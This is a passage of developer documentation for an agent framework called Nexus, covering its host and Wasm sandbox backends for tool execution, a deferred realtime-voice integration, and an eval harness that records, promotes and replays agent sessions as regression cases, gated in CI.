Agent-emitted code is the load-bearing case. Trail of Bits’ Oct 2025 prompt-injection-to-RCE chain documented multiple production incidents where a compromised LLM context yielded host shell access through under-isolated tool execution. For non-developer end users (the desktop shell ships agents to laptops), “sandbox in name only” is a regression to those incidents waiting to happen.
The wasm backend closes that risk for tools/code_exec by interpreting
agent code inside a wazero-managed Wasm module. The module sees no kernel
syscalls — every escape is a host-side bridge function with explicit
capability gates.
Backends
host (default for tools/shell)
Runs commands directly via os/exec against the host kernel. The
configured allowed_commands allowlist and working_dir apply, but a
permissive allowlist is a host compromise away from arbitrary code
execution. Use this only when commands are trusted (developer machines, CI
runners, allowlists tight enough that escape is implausible).
nexus.tool.shell:
sandbox:
backend: host
allowed_commands: [git, go, npm]
working_dir: ~/.nexus/sessions/${session_id}/files
wasm (recommended for tools/code_exec)
Embeds a Yaegi-compiled-to-Wasm interpreter into the engine binary at build time. The wasm module sees no fs / net / syscalls unless the configured policy explicitly grants them, in which case the calls go through a host bridge function gated per-operation. Bridge surfaces:
| SDK package | Capability tag | Gate config |
|---|---|---|
nexus_sdk/http | cap_net_http | sandbox.net.allow_hosts (exact-match hostnames) |
nexus_sdk/fs | cap_fs_read, cap_fs_write | sandbox.fs_mounts (host→guest bindings, ro/rw) |
nexus_sdk/exec | cap_exec | sandbox.exec_allowed (command allowlist) |
nexus_sdk/env | none | sandbox.env (sandbox-scoped key/value map) |
nexus.tool.code_exec:
compiler: yaegi-wasm
sandbox:
backend: wasm
cache_dir: ~/.nexus/sandbox/wasm/cache
timeout: 30s
net:
allow_hosts: ["api.openai.com", "api.anthropic.com"]
fs_mounts:
- host: ~/.nexus/sessions/${session_id}/files
guest: /workspace
mode: rw
exec_allowed: [git]
env:
WORKSPACE: /workspace
Empty net.allow_hosts denies all HTTP. Empty fs_mounts denies all FS.
Empty exec_allowed denies all subprocess invocation.
Snippet authoring under wasm
package main
import (
"context"
"fmt"
"errors"
nhttp "nexus_sdk/http"
nfs "nexus_sdk/fs"
)
func Run(ctx context.Context) (any, error) {
resp, err := nhttp.Get("https://api.example.com/data")
if err != nil {
if errors.Is(err, nhttp.ErrCapDenied) {
return nil, fmt.Errorf("net.allow_hosts denies api.example.com")
}
return nil, err
}
if err := nfs.WriteFile("/workspace/out.json", resp.Body); err != nil {
return nil, err
}
return resp.Status, nil
}
The nexus_sdk/* packages mirror the shape of net/http, os, os/exec,
and os.Getenv so familiar Go reflexes work. The bridge layer flattens
the ABI: Bodies are []byte, not io.Reader. Streaming reads / writes
are not supported in v1.
What you give up under wasm
- Raw TCP /
net.Dial— not provided. Add a targeted bridge function (nexus_sdk/websocket, etc.) when a real caller needs it. cgo— never. Not a Wasm thing.- Full
database/sqldriver libraries — most native drivers won’t run in Wasm without their own bridges. Use HTTP-shaped database backends (REST, BigQuery) or run database access viatools/shellwith appropriate gating. tools.*typed bindings,parallel.*constructs, skill helpers — v1 surface forfeits these on the wasm path. They remain available undercompiler: yaegi-hostfor trusted skill-author workflows.
Performance
| Operation | Cost |
|---|---|
| WasmBackend cold start (one-time per session) | ~5–9 s wazero AOT compile of the 39 MiB embedded runner |
With cache_dir set, subsequent process startup | ~50–200 ms |
| Per-snippet (warm backend) | ~30–50 ms wall, ~5–30 ms interpretation overhead + bridge round-trips |
Set cache_dir to a stable path (e.g., ~/.nexus/sandbox/wasm/cache) to
amortise the wazero AOT cost across processes.
Future tiers (not in v1)
landlock— Linux-only hardening belowtools/shell.gvisor—runscsubprocess for strongertools/shellisolation under Linux.firecracker— Per-snippet microVM for hosted multi-tenant deployments.
The full-Go (GOOS=wasip1) compile path with auto-bootstrapped Go SDK is
tracked in #71 and ships
only on real demand for full Go stdlib semantics (generics, full
reflect, text/template).
Native Realtime API Integration — Deferred
Both OpenAI Realtime API and Gemini Multimodal Live are entire new
wire protocols separate from the standard chat/generate endpoints already
used by plugins/providers/openai/ and plugins/providers/gemini/. They
require per-provider WebSocket clients with their own session lifecycle,
tool-use envelopes, audio-streaming framing, and turn-taking semantics —
each on the order of a full provider plugin’s implementation surface.
That is too large to ship in the multimodal-foundation PR (#93),
which limits scope to the building blocks: blob store, multimodal
MessagePart plumbing, the EmbeddingsRequest.Inputs shape, the Cohere
multimodal embeddings adapter, and the nexus.memory.vector
store_images opt-in. Native realtime adapters are tracked under issue
#91 as a follow-up.
Until they land, voice-mode users go through the standard pipeline:
ASR (e.g. Whisper) → llm.request → TTS
implemented as the plugins/io/voice/ transport (Phase 4 of #91). The
voice IO plugin is a portable design — when realtime providers are
wired, the same agent configs keep working; only the inner LLM call is
replaced with a streaming session.
What’s needed when these land
For each provider:
- WebSocket client (
gorilla/websocketor stdlib upgrader on the server side; both providers run server-sent WebSockets) honoring the documented session-init handshake. - A new
nexus.io.realtime.<provider>transport plugin OR a new LLM provider variant that consumesvoice.audio.input.chunkevents and emitsvoice.audio.output.chunkevents. Decision deferred to the follow-up issue; both shapes work, but the IO-plugin shape keeps the rest of the engine unaware of the streaming wire details. - Tool-use bridging: realtime APIs surface tool calls inline in the
audio stream — those need to translate into the existing
tool.call/tool.resultevents with no behavior change for tool plugins. - Cancel + barge-in plumbing onto
nexus.control.cancel.
Eval Harness Overview
New here? Start with the quickstart for an end-to-end session→case→CI walkthrough.
Nexus ships a first-class eval workflow built directly on top of the durable journal. The harness records, replays, and scores agent sessions offline — no API key required for the deterministic path — and gates regressions in CI.
This document covers the concept and the moving pieces. For YAML keys see
configuration/reference.md;
for the case.yaml / assertions.yaml schema see
case-format.md.
Why evals (in Nexus terms)
Once the journal exists, every session is replayable. An eval is a journal plus a bundle of assertions that say “this trace is the desired behaviour”. Phase 1 shipped the runner; Phase 2 ships the CLI, the multi-case runner, the baseline differ, and five seed cases.
Two modes:
| Mode | Replay short-circuit | LLM judge | When |
|---|---|---|---|
--deterministic | yes | skipped | every PR; gates merge |
--full | yes | run, temperature=0, cached | nightly; gates release |
The --deterministic contract is binding: PRs never block on judge flake.
--full runs judge calls but still drives them through the journal stash —
side effects are short-circuited even when the rubric is being graded.
--full is reserved for the LLM-judge mode — it is currently a placeholder.
Passing --full prints a warning and runs in deterministic mode
(cmd/nexus/eval.go:108-113). Full plumbing lands in a follow-up.
What a case is
A case is a directory under tests/eval/cases/<id>/:
tests/eval/cases/<id>/
case.yaml # name, description, tags, owner, freshness, model_baseline
input/
config.yaml # engine config under test (typically mock provider)
inputs.yaml # scripted user inputs (record-side; live agent reads from journal)
journal/ # full copy of the source session journal
header.json
events.jsonl
assertions.yaml # deterministic + (Phase 5) semantic assertions
_record/ # optional: go-tagged recorder that regenerates journal/
main.go
journal/ is a 1:1 copy of ~/.nexus/sessions/<source-session>/journal/ at
promotion time. There is no second fixture format.
The runner reads case.yaml, builds the engine from input/config.yaml,
overrides core.sessions.root to a tempdir, calls engine.Replay(), and
collects events for assertion evaluation.
What a report is
A report is one JSON document per nexus eval run invocation:
tests/eval/reports/<run-id>/
report.json # schema_version=1; per-case + summary
summary.txt # human-readable counterpart
_sessions/<id>/ # per-case session workspace (transcript, config snapshot)
schema_version is stable: the baseline differ (pkg/eval/baseline) keys
off field names. Bumping the version is a deliberate event with an explicit
migration note.
How a run flows
- Discovery. The CLI walks
cases_dir, parses eachcase.yaml, filters by--tags. - Per-case engine. Each case constructs its own engine from
input/config.yaml.core.sessions.rootis overridden to a per-run tempdir under<reports_dir>/<run-id>/_sessions/. - Replay.
journal.NewCoordinatorseeds the FIFO stash withllm.response/tool.result/io.ask.responsepayloads from the journal, then re-emitsio.inputevents in seq order. The live agent reacts as if the inputs were fresh; side-effecting plugins detectengine.Replay.Active()and pop the stash instead of calling out. - Observation. After replay finishes, the runner reads the live session’s freshly-written journal as the authoritative observed event stream. A wildcard collector is kept as a fallback only (wildcard dispatch order is post-order, which would skew sequence assertions).
- Assertion evaluation. Each
Assertion.Evaluate(observed, golden)produces anAssertionResult. The case passes iff every assertion passes. - Aggregation.
pkg/eval/report.Aggregaterolls Results into aReportand writes JSON + summary.
How baseline gating works
nexus eval baseline --against <path> loads two reports (file or directory)
and computes a Diff. Per-case it records pass/fail movement, latency p50/
p95 deltas, and token deltas. Per-run it records new/missing cases and the
pass-rate delta.
Pointing
--againstat the right directory.nexus eval run --report-dir Xwrites the report toX/<run-id>/report.json(e.g.X/20260502T143022Z/report.json).baseline --againstaccepts either the run-id subdirectory or areport.jsonfile directly — it does not auto-descend a parent. Use--against X/<run-id>or, when there’s only one run under the parent,--against X/*.
Two thresholds drive the exit code:
eval.baseline.fail_on_score_drop— absolute pass-rate drop threshold.0disables.eval.baseline.fail_on_latency_p95_drop— relative p95-latency increase threshold (per case).0disables.
Plus a hard rule: any case that flipped pass → fail is treated as a
regression and fails the baseline run. The Diff.Breached field is the
machine-readable record of which gate (if any) tripped.
Determinism contract
The journal is the source of truth. During replay:
- LLM providers (Anthropic / OpenAI / Gemini / mock) check
engine.Replay.Active()and emit the next stashedllm.responseinstead of calling the API. - Side-effecting tools (
shell,file,code_exec,web,pdf,ask_user) follow the same pattern withtool.result. - Boot-time emissions (
skill.discover,tool.register, etc.) re-fire live during every replay — they are deterministic by construction. - Live-emitted derived events (
plan.created,plan.result,agent.turn.start/end) are also re-emitted live.
This means a case’s assertions can name any of those event types and they
will all be present in the observed stream during a clean replay. What is
not re-emitted is anything that depended on a side effect that didn’t
happen — most notably, provider.fallback only fires when the primary
errored. The provider-fallback seed case demonstrates how to write
assertions for the boot+config-validation half of that scenario; the live
error path is covered by the integration test under tests/integration/.
Future phases
| Phase | Adds | Status |
|---|---|---|
| 1 | Core runner, 7 deterministic assertions, 1 seed case | Shipped |
| 2 | CLI, multi-case, baseline diff, 5 seed cases | Shipped |
| 3 | nexus eval record / promote (failure → case in one command) | Shipped — see promotion.md |
| 4 | plugins/observe/sampler/ (online sample capture) | Shipped — see Online sampling |
| 5 | --inspect-mode JSON protocol for external harnesses | Shipped — see External harness integration. --full LLM judge remains stubbed. |
The case directory layout finalized in Phase 2 is forward-compatible with
Phase 3 promotion — record writes the same shape that Phase 2 reads. The
report’s schema_version: "1" is the contract Phase 5’s protocol mode and
external harnesses (Inspect AI, Braintrust) will pin against.
Online sampling
Phase 4 adds the nexus.observe.sampler
plugin: an opt-in observer that snapshots a configurable fraction of live
sessions (plus every failed session, when failure_capture is on) into
~/.nexus/eval/samples/<id>/. Captured directories share the
case-compatible journal layout, so they feed straight into the promotion
pipeline once an operator picks one out of the sample set.
Activation is two opt-ins (off by default):
plugins:
active:
- nexus.observe.sampler
nexus.observe.sampler:
enabled: true
rate: 0.05
failure_capture: true
out_dir: ~/.nexus/eval/samples
See the sampler plugin doc for the
capture-decision rules, the eval.candidate event contract, the
pluggable redactor hook, and the integration story with
nexus eval promote.
External harness integration
Phase 5 adds nexus eval --inspect-mode: a single-shot, headless,
stdin/stdout JSON protocol that lets external eval harnesses (AISI
Inspect AI, Braintrust, custom CI tooling) drive Nexus from any
language. Pipe a JSON request in, parse a JSON response out, exit code
indicates success.
echo '{"schema":1,"config_path":"configs/coding.yaml","user_input":"hello"}' \
| nexus eval --inspect-mode
The wire format is the durable contract. Schema-stability snapshot tests
in pkg/eval/protocol/ enforce that the byte layout cannot drift
silently — every change requires updating the snapshot deliberately, and
the version field (schema: 1) is the migration marker external shims
pin against.
Nexus does not ship a Python or Node shim. The protocol is the
contract; any out-of-tree integration is a thin subprocess wrapper. See
inspect-protocol.md for the full reference,
field-by-field documentation, error code table, and a worked Python
shim example you can copy into your harness.
Quickstart — From Session to Green CI
This is the linear walkthrough: capture a real session, promote it into a case, tighten the rubric, run it locally, lock in a baseline, and wire the result into CI. By the end you have one regression test for one bad trace, gating future PRs.
For schema details see case-format.md. For background
concepts see overview.md.
1. Capture a session
Boot Nexus normally and run a session that demonstrates the failure or the behaviour you want to lock in:
bin/nexus -config configs/coding.yaml
Drive it through whatever interaction surfaces the bug. When the session
ends (Ctrl-D in the TUI, or close the browser tab), the journal is flushed
to disk under ~/.nexus/sessions/<id>/.
To find the session ID of the run you just made:
ls -t ~/.nexus/sessions/ | head -1
The IDs are timestamped (20260501T143022Z-style), so the most-recent
directory is the one you want.
2. Promote the session into a case
nexus eval promote copies the session journal verbatim into a case
directory and synthesizes a starter assertions.yaml:
bin/nexus eval promote \
--session 20260501T143022Z \
--case my-regression \
--no-edit
Useful flags:
--owner you@example.com— recorded incase.yaml.--tags react,coding,regression— used by--tagsfiltering at run time.--description "Reproduces the off-by-one in the file diff path."— appears in run summaries.
The promoter prints any warnings (failed-session journals, non-replayable events) to stderr — read them. They tell you where the case will be brittle on replay.
3. Edit the rubric
Open the synthesized assertions file:
$EDITOR tests/eval/cases/my-regression/assertions.yaml
The starter file uses broad event_count_bounds and one
event_sequence_distance. Tighten the bounds where you have signal —
e.g. drop the slack on tool.invoke counts to exactly the number you
care about, or shrink the sequence-distance threshold from 0.30 to
0.15. For latency, lower the p50_ms / p95_ms budgets to whatever
the captured run actually exhibits, plus a small headroom.
See case-format.md for the seven assertion kinds
and their fields.
4. Run the case
bin/nexus eval run --case my-regression
Expected output is a one-liner human summary on stdout plus the report location on stderr:
PASS my-regression 3 assertions 234ms
report: tests/eval/reports/20260501T144517Z/report.json
The full report (JSON) and a human counterpart (summary.txt) land
under tests/eval/reports/<run-id>/. Inspect them when something fails.
5. Establish a baseline
Once the case is green and you trust the trace, copy the run-id directory aside as the reference baseline:
cp -r tests/eval/reports/20260501T144517Z tests/eval/reports/baseline
From any future run, diff against the baseline:
bin/nexus eval baseline \
--against tests/eval/reports/baseline \
--report tests/eval/reports/20260502T081200Z
Run-id subdir convention.
eval run --report-dir Xwrites the report toX/<run-id>/report.json—Xitself does not contain areport.json.baseline --againstaccepts either the run-id subdirectory or areport.jsonfile directly, but does not auto-descend a parent. Point at the run-id dir, not its parent.
6. Wire to CI
Both subcommands use exit codes that gate cleanly:
nexus eval runexits1on any failed case,0otherwise.nexus eval baselineexits1on a threshold breach (fail_on_score_drop,fail_on_latency_p95_drop, or anypass→failflip),0otherwise.
A natural Makefile target:
eval-deterministic:
bin/nexus eval run
bin/nexus eval baseline --against tests/eval/reports/baseline
Wire that into your CI’s PR pipeline. The deterministic path needs no LLM credentials — it replays journals.
Case Format
This page is the schema reference for the files inside a
tests/eval/cases/<id>/ bundle. Conceptual background lives in
overview.md. Top-level eval: keys live in
configuration/reference.md.
Directory layout
tests/eval/cases/<id>/
case.yaml # case metadata
input/
config.yaml # engine config (typically mock provider)
inputs.yaml # scripted user inputs
journal/ # session journal (header + events)
header.json
events.jsonl
assertions.yaml # deterministic + (Phase 5) semantic assertions
_record/ # optional: build-tagged recorder for the journal
main.go # //go:build evalrecord
The directory’s basename becomes the case ID. Hidden directories and
underscore-prefixed children (_record) are ignored by the discovery walk.
case.yaml
| Key | Type | Required | Description |
|---|---|---|---|
name | string | yes | Human-readable case name. Loader rejects empty values. |
description | string | no | Multi-line free text; appears in summaries. |
tags | list | no | Strings used by --tags CLI filtering. Filter is a superset match. |
owner | string | no | Email or handle of the case owner — useful when promoting from real failures. |
freshness_days | int | no | Soft hint that the journal should be re-recorded after N days. Not enforced in v1. |
model_baseline | string | no | The model the journal was originally captured against (e.g. mock, claude-sonnet-4-6). Phase 5 uses this for cross-version drift gating. |
recorded_at | datetime | no | ISO 8601 timestamp of last journal recording. |
Reference: pkg/eval/case/case.go:46-54.
input/config.yaml
A standard Nexus engine config — same schema as any configs/*.yaml. Two
constraints worth noting:
- The runner overrides
core.sessions.rootautomatically, so the case-supplied value is irrelevant in practice (the runner uses a per-run tempdir). - The case must use mock-mode providers or real-credential-free configs.
No
ANTHROPIC_API_KEY, noOPENAI_API_KEY— replay short-circuits hide the actual provider call, but plugin construction must still succeed without one.
input/inputs.yaml
inputs:
- "Why won't main.go build?"
- "Show me the fixed version."
This file is the canonical record of the user side of the dialogue. The
runner does not read it directly during replay — the journal coordinator
re-emits the journaled io.input events instead. inputs.yaml exists for
human auditability and for Phase 3 promotion round-tripping.
journal/
A drop-in copy of ~/.nexus/sessions/<id>/journal/. header.json is
required (provides schema_version for compatibility checks); events.jsonl
contains the full event stream as JSONL envelopes. Rotated segments
(events-NNN.jsonl.zst) are supported transparently by the journal
reader.
For seed cases that are easier to hand-craft than to record, drop a
//go:build evalrecord recorder in _record/main.go:
//go:build evalrecord
package main
import (
"context"
"time"
"github.com/frankbardon/nexus/pkg/engine/journal"
"github.com/frankbardon/nexus/pkg/events"
)
func main() {
w, _ := journal.NewWriter("tests/eval/cases/<id>/journal", journal.WriterOptions{
FsyncMode: journal.FsyncEveryEvent,
BufferSize: 16,
SessionID: "<id>-golden",
})
t0 := time.Date(2026, 5, 1, 12, 0, 0, 0, time.UTC)
envs := []journal.Envelope{
{Seq: 1, Ts: t0, Type: "io.session.start", Payload: map[string]any{...}},
{Seq: 2, Ts: t0.Add(10 * time.Millisecond), Type: "io.input", Payload: events.UserInput{Content: "..."}},
// ...
}
for i := range envs { w.Append(&envs[i]) }
ctx, _ := context.WithTimeout(context.Background(), 5*time.Second)
_ = w.Close(ctx)
}
Run with:
go run -tags evalrecord ./tests/eval/cases/<id>/_record/
assertions.yaml
Top-level shape:
deterministic: # list of assertion entries
- kind: <one of the 7 deterministic kinds>
...spec fields...
semantic: [] # reserved for Phase 5
Every entry must have a kind field. Unknown kinds error out at load time
— typos are loud, not silent.
event_emitted
Pass when at least Min and at most Max envelopes match the type and
optional where payload filter. The default is “at least 1, no upper”.
- kind: event_emitted
type: tool.invoke
where:
name: read_file
count: { min: 1, max: 1 }
where does shallow equality on the payload (case-insensitive on field
names). Reference: pkg/eval/case/assertions.go:36-49.
event_count_bounds
Per-event-type count range across the observed stream. Use this for turn-frame expectations.
- kind: event_count_bounds
bounds:
agent.turn.start: { min: 2, max: 2 }
agent.turn.end: { min: 2, max: 2 }
io.input: { min: 2, max: 2 }
Reference: pkg/eval/case/assertions.go:71-74.
event_sequence_strict
Exact match against an ordered pattern, optionally filtered to a subset of event types. The escape hatch — fragile across model upgrades; use sparingly.
- kind: event_sequence_strict
filter: [io.input, agent.turn.start, agent.turn.end, llm.response, tool.invoke, tool.result]
pattern:
- io.input
- agent.turn.start
- llm.response
- tool.invoke
- tool.result
- llm.response
- agent.turn.end
Reference: pkg/eval/case/assertions.go:76-80.
event_sequence_distance
Levenshtein ratio (0.0 = identical, 1.0 = totally different) between the
observed and golden filtered streams. The permissive form of
event_sequence_strict; default-pick for trace-drift gating.
- kind: event_sequence_distance
threshold: 0.15
filter: [io.input, agent.turn.start, agent.turn.end, llm.response, tool.invoke, tool.result]
Reference: pkg/eval/case/assertions.go:53-58.
tool_invocation_parity
Per-tool count parity (within count_tolerance) and, when arg_keys: true,
that each tool’s observed argument key set matches the golden’s. Arg-value
parity is intentionally not checked — values vary across model upgrades.
- kind: tool_invocation_parity
count_tolerance: 0
arg_keys: true
Reference: pkg/eval/case/assertions.go:64-67.
token_budget
Caps tokens read off llm.response events. per_turn: true enforces the
limits per agent turn; otherwise they cap the session total.
- kind: token_budget
max_input_tokens: 1000
max_output_tokens: 500
per_turn: false
Reference: pkg/eval/case/assertions.go:84-88.
latency
Caps p50/p95 turn latency, computed from event timestamp deltas (not
wall-clock). A turn = agent.turn.start … agent.turn.end.
- kind: latency
p50_ms: 500
p95_ms: 2000
Reference: pkg/eval/case/assertions.go:92-95.
Generating a case
For new cases, prefer nexus eval promote (alias nexus eval record) over
hand-crafting the directory. The promoter copies an existing session’s
journal verbatim, projects the journaled io.input events into
inputs.yaml, and synthesizes a starter assertions.yaml you can tighten
afterwards.
nexus eval promote \
--session <session-id-or-path> \
--case <new-case-id> \
[--no-edit] [--force] [--tags ...] [--description "..."]
See promotion.md for the full workflow, including
warnings (failed-session, non-replayable event types) and the
assertions.yaml editing checklist. The hand-crafted _record/main.go
recorder under tests/eval/cases/<id>/ remains supported for synthetic
mock-mode cases that have no source session, but real sessions should go
through promote.
Authoring tips
- Start broad, tighten over time. The first version of a case typically
uses
event_count_boundsplusevent_emittedfor the load-bearing events. Addevent_sequence_distanceonce you’ve seen one or two clean runs. - Filter ruthlessly.
event_sequence_*assertions over an unfiltered stream are fragile because tick events, status updates, and thinking steps slip in and out of runs. Filter to the events you actually care about. - Know what re-emits. Side-effecting events (
llm.response,tool.result) are stashed and re-emitted from the stash; live-emitted events (agent.turn.*,plan.*,tool.invoke,skill.discover) are generated fresh every replay. Boot-time emissions (e.g. capability registration,tool.register) fire live too. Anything that depends on a side-effect failure (provider.fallback, retry events) will not re-fire — assert on the success path or move that case to the live integration test suite. - Tags are a superset filter.
--tags react,mockmatches a case tagged[react, mock, planner]but skips[react]alone. Tag generously.
Reference cases
The five seed cases in-tree are the canonical examples. Read the bundles when authoring a new case — the patterns scale:
tests/eval/cases/build-error-fix/— minimal end-to-end: ReAct + shell tool + 2 turns.tests/eval/cases/react-planner-handoff/— dynamic planner handing tasks to the ReAct agent.tests/eval/cases/multi-subagent-fanout/— orchestrator with parallel workers.tests/eval/cases/provider-fallback/— boot/config validation only; the live error path stays intests/integration/fallback_test.go(replay short-circuit can’t reproduce side-effect failures).tests/eval/cases/skills-discovery/— agent invoking a skill loaded viascan_paths.
Each seed bundle keeps its _record/main.go recorder (build-tagged
//go:build evalrecord) alongside the journal so the trace can be
regenerated deterministically when the schema changes.
Promoting a Session to an Eval Case
nexus eval promote (alias nexus eval record) turns a live session
directory under ~/.nexus/sessions/<id>/ into a deterministic eval case
under tests/eval/cases/<case-id>/. The whole flow runs offline — the
recorded journal is the source of truth, and replay short-circuits every
side effect.
This page covers:
- The failure → case workflow and when to use it.
- Exactly what
promotewrites (and what it deliberately doesn’t). - How to edit the synthesized
assertions.yamlafterwards. - Warnings the tool surfaces and how to interpret them.
- The non-replayable caveat (provider fallbacks, retries, errors).
For YAML schema details see case-format.md. For the
CLI flag list, run nexus eval promote -h.
When to promote
The intended workflow is production failure → offline regression case:
- A real session goes wrong. The journal at
~/.nexus/sessions/<id>/journal/already captured the full event stream — everyllm.response, everytool.result, everyio.input. No additional logging needed. - You run
nexus eval promote --session <id> --case <new-id>. - The promoted case is checked in, replays deterministically in CI, and keeps the failure from regressing.
Promotion is also the easiest way to bootstrap a new case from a clean
session you already ran by hand — just point promote at it instead of
hand-crafting the journal under _record/.
What promote does
The implementation lives in pkg/eval/promote/. The pipeline:
- Validate the source session has a journal and metadata
(
promote.go:validateSessionDir). - Copy the journal byte-for-byte from
<session>/journal/into<case>/journal/— header, active segment, and any rotated segments. Replay reads the same on-disk shape, so a verbatim copy is the right contract. - Copy the config snapshot from
<session>/metadata/config-snapshot.yamlinto<case>/input/config.yaml. The case runs against the same engine config the recorded session used — no rewriting, no redaction (today). If the snapshot is missing (rare — only happens when a session crashed before the engine wrote metadata),promotewrites a placeholder and warns. - Reconstruct
inputs.yamlfrom journaledio.inputevents (inputs.go:ExtractInputs). The runner doesn’t read this file — it re-fires inputs from the journal directly — butinputs.yamlis the canonical record of the user side of the dialogue, kept for human review. - Synthesize a starter
assertions.yamlfrom a single journal pass (scaffold.go:SynthesizeAssertions):event_count_bounds— every distinct event type withmin=max=count.token_budget— observed input/output totals + 10% slack.latency— observed turn-pair p50/p95 + 50% slack.tool_invocation_parity— one block when at least one tool was used, withcount_tolerance: 0andarg_keys: true.semantic: []— empty, with a TODO comment for Phase 5 LLM-judge rubrics.
- Write
case.yamlwithname,description(synthesized when omitted),tags,owner(falling back to$USER, thenunknown),freshness_days: 30,model_baseline(extracted fromcore.models.default), andrecorded_at = now. - Optionally launch
$EDITORon<case>/assertions.yaml. The fallback chain is$EDITOR → $VISUAL → nano → vi. Pass--no-editto skip.
The CLI prints a one-line summary plus warnings to stderr and exits 0 on
success. On any error after the case directory was created, it removes the
partial directory so a retried promote is not blocked by stale shell.
Editing assertions.yaml
The synthesized YAML is intentionally strict — every event-type bound
is min=max=count, every tool count tolerance is 0. This is the right
default: a freshly-promoted case should reproduce the source session
exactly, byte-for-byte. As you fold the case into a broader scenario, you
loosen the parts that legitimately vary:
- Loosen
event_count_boundsfor noise types:core.tick,status.update,thinking.step. These vary across runs even when the load-bearing behaviour is identical. - Tighten
tool_invocation_parityby adding new tools as your case evolves — but keeparg_keys: trueto catch shape regressions. - Add an
event_sequence_distanceassertion (withthreshold: 0.15as a starting point) to gate trace drift across model upgrades. - Add an
event_emittedwithwherefor the load-bearing tool calls (e.g.tool.invoke where {name: read_file}withcount: {min: 1}). - Phase 5: add an
llm_judgerubric to thesemantic:block once the case is stable. The TODO comment in the scaffold reminds you.
The deterministic checks are the regression gate; the rubric is the quality gate. The two answer different questions and should both grow over time.
Warnings
PromoteResult.Warnings (printed to stderr in the CLI) flags conditions
that produced a valid case but might surprise you on replay:
session ended with status=<X>— the source session’smetadata/session.jsonhas a non-completed/non-active status (typicallyfailed). The case still promotes; this warning just tells you the authoring intent is “reproduce the failure”, not “lock in a green baseline”.config-snapshot.yaml not found— rare; only happens for sessions that crashed before the engine could write metadata.input/config.yamlis left as a stub with instructions; you must paste in the engine config manually.journal contains non-replayable event types …— see the next section.
Warnings never fail the command. The CLI prints them and exits 0; library
callers see them on PromoteResult.Warnings.
The non-replayable caveat
Replay short-circuits side effects via the journal stash. That means any event whose presence depended on a side effect failure will not re-fire under replay. Promoting such a session produces a case where the non-replayable branch is silently absent from the live observed stream.
The promoter recognises a small allow-list of these types
(scaffold.go:nonReplayableTypes):
provider.fallback.error/provider.fallback.advance/provider.fallback.exhausted— fired when a primary provider errored and the chain advanced. Replay pops the stashedllm.responsefrom the primary without raising the error, so the fallback never fires.llm.error/tool.error— same shape; replay never re-raises the failure.agent.iteration.exceeded— depends on the agent loop’s runtime behaviour. Re-derived during replay only if the same run-to-completion state holds.
When promote sees any of these in the source journal, it warns. The
case still lands on disk — the deterministic-replay half of the session
(the success path that did run) remains testable. But two follow-ups
are usually appropriate:
- Tighten the synthesized
event_count_boundsto exclude the non-replayable types — otherwise the case will fail withcount=0for those entries on every replay. - Move the failure-mode behaviour to a live integration test under
tests/integration/. Theprovider-fallbackseed case (tests/eval/cases/provider-fallback/case.yaml) shows the pattern: the eval case validates the boot/configuration path, while a live integration test exercises the actual fallback.
Round-trip example
# 1. You ran a session yesterday — find its ID under ~/.nexus/sessions/
ls ~/.nexus/sessions/
# 2. Promote it. --no-edit skips $EDITOR; --force overwrites existing.
nexus eval promote \
--session 20260501T143000Z-abc123 \
--case my-regression \
--tags reproduction,react \
--description "Repro of the missing-tool-result bug from Apr 30." \
--no-edit
# 3. Replay it deterministically. No API key needed.
nexus eval run --case my-regression --deterministic
# 4. Edit the assertions to taste, commit, and CI is gated against
# a future regression of the same bug.
$EDITOR tests/eval/cases/my-regression/assertions.yaml
git add tests/eval/cases/my-regression
The full pipeline runs in seconds for the typical 8–30-event session.
Larger sessions scale linearly with journal length — promote does one
journal pass during synthesis and copies bytes verbatim for the journal
clone, so disk I/O dominates.
Library API
For embedders the surface is promote.Promote(ctx, opts):
import "github.com/frankbardon/nexus/pkg/eval/promote"
res, err := promote.Promote(ctx, promote.PromoteOptions{
SessionDir: "/Users/me/.nexus/sessions/<id>",
CaseID: "my-regression",
CasesDir: "/repo/tests/eval/cases",
Owner: "me@example.com",
Tags: []string{"reproduction"},
Description: "Optional override; defaults to a synthesized stub.",
OpenEditor: false,
Force: false,
})
Reference: pkg/eval/promote/promote.go:PromoteOptions.
The Phase 4 sampler will reuse this entry point: a sampled failed session
becomes a Promote candidate the user can accept with one command.
Inspect-Mode Protocol
nexus eval --inspect-mode is the headless JSON-on-stdin/stdout protocol
that external eval harnesses (AISI Inspect AI, Braintrust, custom CI
tooling) use to drive Nexus. The binary reads one JSON object from stdin,
runs a single agent turn (or multi-turn run, capped by max_turns) under
the supplied config, and writes one JSON object to stdout.
This page is the durable wire-format reference. It is pinned by the
schema-stability snapshot test in
pkg/eval/protocol/schema_test.go.
PRs that change the wire format must update both that snapshot and the
documentation in this file in the same change.
Nexus does not ship a Python shim. A 15-line shim is sketched at the bottom of this page so the interop story is documented; the shim itself is out-of-tree by design (see plan.md, “No Python in this repo”).
Invoking
echo '{"schema":1, ...}' | nexus eval --inspect-mode
Flags:
--inspect-mode— required. Mutually exclusive with subcommands and positional args; combining them returns anINVALID_REQUESTerror.--timeout=<duration>— optional. Per-request deadline. When unset, the env varNEXUS_EVAL_INSPECT_TIMEOUTis honored. Default60s.
The deadline applies to the entire request (engine boot, agent run,
shutdown). Crossing it surfaces as a TIMEOUT error code.
Request
Exactly one JSON object on stdin, terminated by EOF:
{
"schema": 1,
"config_path": "configs/coding.yaml",
"config_inline": "<yaml string>",
"user_input": "explain the build error in main.go",
"max_turns": 8,
"metadata": { "case_id": "swe-bench-1234" }
}
| Field | Type | Required | Semantics |
|---|---|---|---|
schema | integer | yes | Wire-format version. Must be 1 today. |
config_path | string | one of | Path to a YAML config. ~ is expanded. Mutually exclusive with config_inline. |
config_inline | string | one of | YAML config body inline. Mutually exclusive with config_path. |
user_input | string | yes | The single prompt fed into the agent. |
max_turns | integer | no | Hard cap on agent.turn.end events observed. 0 (or omitted) = no protocol-level cap; the agent’s own iteration gate still bounds the run. |
metadata | object | no | Opaque pass-through. Round-tripped to the response. |
Strict parsing applies: unknown fields are rejected with INVALID_REQUEST.
This catches typos at the harness boundary instead of silently defaulting
fields.
The runner overlays your config to make the run hermetic:
core.sessions.rootis overridden to a temp directory underos.TempDir(). The directory is removed on exit unlessNEXUS_EVAL_INSPECT_KEEP_SESSIONS=1is set (useful for post-hoc journal forensics).nexus.io.testis added toplugins.activeif absent; visual transports (nexus.io.tui,nexus.io.browser,nexus.io.wails,nexus.io.oneshot) are stripped because the run must be headless.plugins.nexus.io.test.inputsis set to[user_input],approval_modetoapprove,timeoutto600s. Any other keys you set onnexus.io.test(notablymock_responses) are preserved.
Response
